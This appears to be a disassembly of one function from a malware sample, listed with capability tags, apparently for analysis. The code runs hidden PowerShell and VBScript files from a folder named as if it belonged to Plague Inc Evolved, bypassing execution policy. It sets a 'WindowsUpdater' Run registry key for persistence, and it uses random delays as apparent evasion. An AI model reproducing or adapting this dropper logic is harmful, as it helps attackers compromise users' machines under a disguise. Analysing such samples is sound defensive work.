Function at 0x401d00
Capabilities:
Copy file
Persist via run registry key
Query environment variable

Disassembly:
push rbp
push rbx
sub rsp, 0x6c8
lea rbp, [rsp + 0x80]
call dbg.__main
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
lea rax, [rbp + 0x220]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
test eax, eax
sete al
test al, al
je 0x401d58
mov ebx, 1
jmp 0x4029e6
call sym.pointlessFunction__
lea rax, [rbp + 0x35f]
mov rcx, rax
call fcn.00466440
lea rcx, [rbp + 0x35f]
lea rdx, [rbp + 0x220]
lea rax, [rbp + 0x330]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x330]
mov r8, 0xffffffffffffffff
lea rdx, [0x004ad05f]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.find_last_of_char_const__unsigned_long_long__const
mov rbx, rax
lea rax, [rbp + 0x38e]
mov rcx, rax
call fcn.00466440
lea rcx, [rbp + 0x38e]
lea rdx, [rbp + 0x220]
lea rax, [rbp + 0x360]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x200]
lea rdx, [rbp + 0x360]
mov r9, rbx
mov r8d, 0
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.substr_unsigned_long_long__unsigned_long_long__const
lea rax, [rbp + 0x360]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x38e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x330]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x35f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x38f]
mov rcx, rax
call fcn.00466440
lea rcx, str.TEMP
call sym.getenv
test rax, rax
je 0x401e64
lea rcx, str.TEMP
call sym.getenv
jmp 0x401e6b
lea rax, [0x004ad067]
lea rdx, [rbp + 0x38f]
lea rcx, [rbp + 0x1e0]
mov r8, rdx
mov rdx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x38f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x1e0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.empty___const
test al, al
je 0x401eb0
mov ebx, 1
jmp 0x4029c8
lea rax, [rbp + 0x1c0]
lea rdx, [rbp + 0x1e0]
lea r8, str._random_bytes.bin
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp + 0x1c0]
mov edx, 0x400
mov rcx, rax
call sym.createRandomBytesFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__unsigned_long_long_
xor eax, 1
test al, al
je 0x401ef2
mov ebx, 1
jmp 0x4029b9
lea rax, [rbp + 0x1a0]
lea rdx, [rbp + 0x200]
lea r8, str.Resources_binPlagueIncEvolved_DataPluginsx86_64localgen2.ps1
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp + 0x180]
lea rdx, [rbp + 0x200]
lea r8, str.Resources_binPlagueIncEvolved_DataPluginsx86_64localgen3.ps1
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
call sym.randomDelay__
lea rax, [rbp + 0x390]
lea rdx, [rbp + 0x1a0]
mov r8, rdx
lea rdx, [0x004ad05a]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x160]
lea rdx, [rbp + 0x390]
lea r8, [0x004ad05a]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x390]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3b0]
lea rdx, [rbp + 0x160]
mov r8, rdx
lea rdx, str._ExecutionPolicy_Bypass__File
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x3ff]
mov rcx, rax
call fcn.00466440
lea rdx, [rbp + 0x3ff]
lea rax, [rbp + 0x3d0]
mov r8, rdx
lea rdx, str.powershell.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rdx, [rbp + 0x3b0]
lea rax, [rbp + 0x3d0]
mov rcx, rax
call sym.StartProcess_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
xor eax, 1
mov ebx, eax
lea rax, [rbp + 0x3d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3ff]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x3b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
test bl, bl
je 0x402022
mov ebx, 1
jmp 0x40298c
mov dword [rbp + 0x63c], 0
cmp dword [rbp + 0x63c], 9
jg 0x402043
call sym.randomDelay__
add dword [rbp + 0x63c], 1
jmp 0x40202c
mov dword [rbp + 0x40c], 3
lea rdx, [rbp + 0x40c]
lea rax, [rbp + 0x400]
mov rcx, rax
call method.std::chrono::duration_long_long__std::ratio_1ll__1ll___.duration_int__void__int_const_
lea rax, [rbp + 0x400]
mov rcx, rax
call method.void_std::this_thread::sleep_for_long_long__std.ratio_1ll__1ll____std::chrono::duration_long_long__std::ratio_1ll__1ll____const_
lea rax, [rbp + 0x140]
lea rdx, [rbp + 0x200]
lea r8, str.Resources_binPlagueIncEvolved_DataPluginsx86_64clean.bat
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp + 0x43f]
mov rcx, rax
call fcn.00466440
lea rdx, [rbp + 0x43f]
lea rax, [rbp + 0x410]
mov r8, rdx
lea rdx, [0x004ad067]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rdx, [rbp + 0x410]
lea rax, [rbp + 0x140]
mov rcx, rax
call sym.StartProcess_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
xor eax, 1
mov ebx, eax
lea rax, [rbp + 0x410]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x43f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
test bl, bl
je 0x402105
mov ebx, 1
jmp 0x40297d
call sym.pointlessFunction__
mov dword [rbp + 0x44c], 0xa
lea rdx, [rbp + 0x44c]
lea rax, [rbp + 0x440]
mov rcx, rax
call method.std::chrono::duration_long_long__std::ratio_1ll__1ll___.duration_int__void__int_const_
lea rax, [rbp + 0x440]
mov rcx, rax
call method.void_std::this_thread::sleep_for_long_long__std.ratio_1ll__1ll____std::chrono::duration_long_long__std::ratio_1ll__1ll____const_
lea rax, [rbp + 0x120]
lea rdx, [rbp + 0x200]
lea r8, str.Resources_binPlagueIncEvolved_DataPluginsx86_64GameUnity.ps1
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp + 0x100]
lea rdx, [rbp + 0x200]
lea r8, str.Resources_binPlagueIncEvolved_DataPluginsx86_64localgen.ps1
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp + 0xe0]
lea rdx, [rbp + 0x200]
lea r8, str.Resources_binPlagueIncEvolved_DataPluginsx86_64ProgramData.vbs
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp + 0xc0]
lea rdx, [rbp + 0x200]
lea r8, str.Resources_binPlagueIncEvolved_DataPluginsx86_64ProgramData2.vbs
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp + 0xa0]
lea rdx, [rbp + 0x1e0]
lea r8, str.GameUnity.ps1
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp + 0x80]
lea rdx, [rbp + 0x1e0]
lea r8, str.localgen.ps1
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp + 0x60]
lea rdx, [rbp + 0x1e0]
lea r8, str.ProgramData.vbs
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp + 0x40]
lea rdx, [rbp + 0x1e0]
lea r8, str.ProgramData2.vbs
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp + 0x20]
lea rdx, [rbp + 0x1e0]
lea r8, str.localgen3.ps1
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp + 0xa0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rbx, rax
lea rax, [rbp + 0x120]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 0
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
test eax, eax
sete al
test al, al
je 0x40227e
mov ebx, 1
jmp 0x4028ff
lea rax, [rbp + 0x80]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rbx, rax
lea rax, [rbp + 0x100]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 0
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
test eax, eax
sete al
test al, al
je 0x4022c7
mov ebx, 1
jmp 0x4028ff
lea rax, [rbp + 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rbx, rax
lea rax, [rbp + 0x180]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 0
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
test eax, eax
sete al
test al, al
je 0x40230d
mov ebx, 1
jmp 0x4028ff
lea rax, [rbp + 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rbx, rax
lea rax, [rbp + 0xe0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 0
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
test eax, eax
sete al
test al, al
je 0x402353
mov ebx, 1
jmp 0x4028ff
lea rax, [rbp + 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rbx, rax
lea rax, [rbp + 0xc0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 0
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
test eax, eax
sete al
test al, al
je 0x402399
mov ebx, 1
jmp 0x4028ff
lea rax, [rbp + 0x470]
lea rdx, [rbp + 0x80]
mov r8, rdx
lea rdx, [0x004ad05a]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x450]
lea rdx, [rbp + 0x470]
lea r8, [0x004ad05a]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x450]
lea rax, [rbp + 0x160]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x450]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x470]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x4d0]
lea rdx, [rbp + 0x60]
mov r8, rdx
lea rdx, [0x004ad05a]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x4b0]
lea rdx, [rbp + 0x4d0]
lea r8, [0x004ad05c]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x490]
lea rcx, [rbp + 0x160]
lea rdx, [rbp + 0x4b0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x51f]
mov rcx, rax
call fcn.00466440
lea rdx, [rbp + 0x51f]
lea rax, [rbp + 0x4f0]
mov r8, rdx
lea rdx, str.wscript.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rdx, [rbp + 0x490]
lea rax, [rbp + 0x4f0]
mov rcx, rax
call sym.StartProcess_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
xor eax, 1
mov ebx, eax
lea rax, [rbp + 0x4f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x51f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x490]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x4b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x4d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
test bl, bl
je 0x402507
mov ebx, 1
jmp 0x4028ff
call sym.randomDelay__
mov dword [rbp + 0x52c], 0xa
lea rdx, [rbp + 0x52c]
lea rax, [rbp + 0x520]
mov rcx, rax
call method.std::chrono::duration_long_long__std::ratio_1ll__1ll___.duration_int__void__int_const_
lea rax, [rbp + 0x520]
mov rcx, rax
call method.void_std::this_thread::sleep_for_long_long__std.ratio_1ll__1ll____std::chrono::duration_long_long__std::ratio_1ll__1ll____const_
lea rax, [rbp + 0x550]
lea rdx, [rbp + 0x20]
mov r8, rdx
lea rdx, [0x004ad05a]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x530]
lea rdx, [rbp + 0x550]
lea r8, [0x004ad05a]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x530]
lea rax, [rbp + 0x160]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x530]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x550]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x570]
lea rdx, [rbp + 0x160]
mov r8, rdx
lea rdx, str._ExecutionPolicy_Bypass__File
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x5bf]
mov rcx, rax
call fcn.00466440
lea rdx, [rbp + 0x5bf]
lea rax, [rbp + 0x590]
mov r8, rdx
lea rdx, str.powershell.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rdx, [rbp + 0x570]
lea rax, [rbp + 0x590]
mov rcx, rax
call sym.StartProcess_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
xor eax, 1
mov ebx, eax
lea rax, [rbp + 0x590]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x5bf]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x570]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
test bl, bl
je 0x40264e
mov ebx, 1
jmp 0x4028ff
mov dword [rbp + 0x5c8], 5
lea rdx, [rbp + 0x5c8]
lea rax, [rbp + 0x5c0]
mov rcx, rax
call method.std::chrono::duration_long_long__std::ratio_1ll__1ll___.duration_int__void__int_const_
lea rax, [rbp + 0x5c0]
mov rcx, rax
call method.void_std::this_thread::sleep_for_long_long__std.ratio_1ll__1ll____std::chrono::duration_long_long__std::ratio_1ll__1ll____const_
mov rax, rbp
lea rdx, [rbp + 0x1e0]
lea r8, str.WindowsUpdater.vbs
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp + 0x5ce]
mov rcx, rax
call fcn.00466440
lea rdx, [rbp + 0x5ce]
lea rax, [rbp - 0x20]
mov r8, rdx
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x5ce]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x5cf]
mov rcx, rax
call fcn.00466440
lea rdx, [rbp + 0x5cf]
lea rax, [rbp - 0x40]
mov r8, rdx
lea rdx, str.WindowsUpdater
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x5cf]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rdx, [rbp - 0x40]
lea rax, [rbp - 0x20]
mov r8, rdx
mov rdx, rax
mov rcx, 0xffffffff80000001
call sym.DeleteRegistryKey_HKEY____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rcx, rbp
lea rdx, [rbp - 0x40]
lea rax, [rbp - 0x20]
mov r9, rcx
mov r8, rdx
mov rdx, rax
mov rcx, 0xffffffff80000001
call sym.SetRegistryKeySZ_HKEY____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
xor eax, 1
test al, al
je 0x402779
lea rdx, str.Error_setting_registry_entry.
mov rcx, qword [0x004b25f0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ebx, 1
jmp 0x4028dc
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.00496bf0
lea rcx, [rbp - 0x60]
lea rdx, [rbp - 0x40]
lea rax, [rbp - 0x20]
mov r9, rcx
mov r8, rdx
mov rdx, rax
mov rcx, 0xffffffff80000001
call sym.CheckRegistryKeySZ_HKEY____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
xor eax, 1
test al, al
jne 0x4027c0
mov rdx, rbp
lea rax, [rbp - 0x60]
mov rcx, rax
call method.bool_std::operator__char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
test al, al
je 0x4027c7
mov eax, 1
jmp 0x4027cc
mov eax, 0
test al, al
je 0x4027fc
lea rdx, str.Error:_Registry_entry_not_activated_or_incorrect_value.
mov rcx, qword [0x004b25f0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ebx, 1
jmp 0x4028d0
call sym.randomDelay__
lea rax, [rbp + 0x5f0]
mov rdx, rbp
mov r8, rdx
lea rdx, [0x004ad05a]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x5d0]
lea rdx, [rbp + 0x5f0]
lea r8, [0x004ad05a]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x63b]
mov rcx, rax
call fcn.00466440
lea rdx, [rbp + 0x63b]
lea rax, [rbp + 0x610]
mov r8, rdx
lea rdx, str.wscript.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rdx, [rbp + 0x5d0]
lea rax, [rbp + 0x610]
mov rcx, rax
call sym.StartProcess_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
xor eax, 1
mov ebx, eax
lea rax, [rbp + 0x610]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x63b]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x5d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x5f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
test bl, bl
je 0x4028cb
mov ebx, 1
jmp 0x4028d0
mov ebx, 0
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov rax, rbp
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x80]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xa0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xc0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x100]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x120]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x140]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x160]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x180]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x200]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x402db5
add rsp, 0x6c8
pop rbx
pop rbp
ret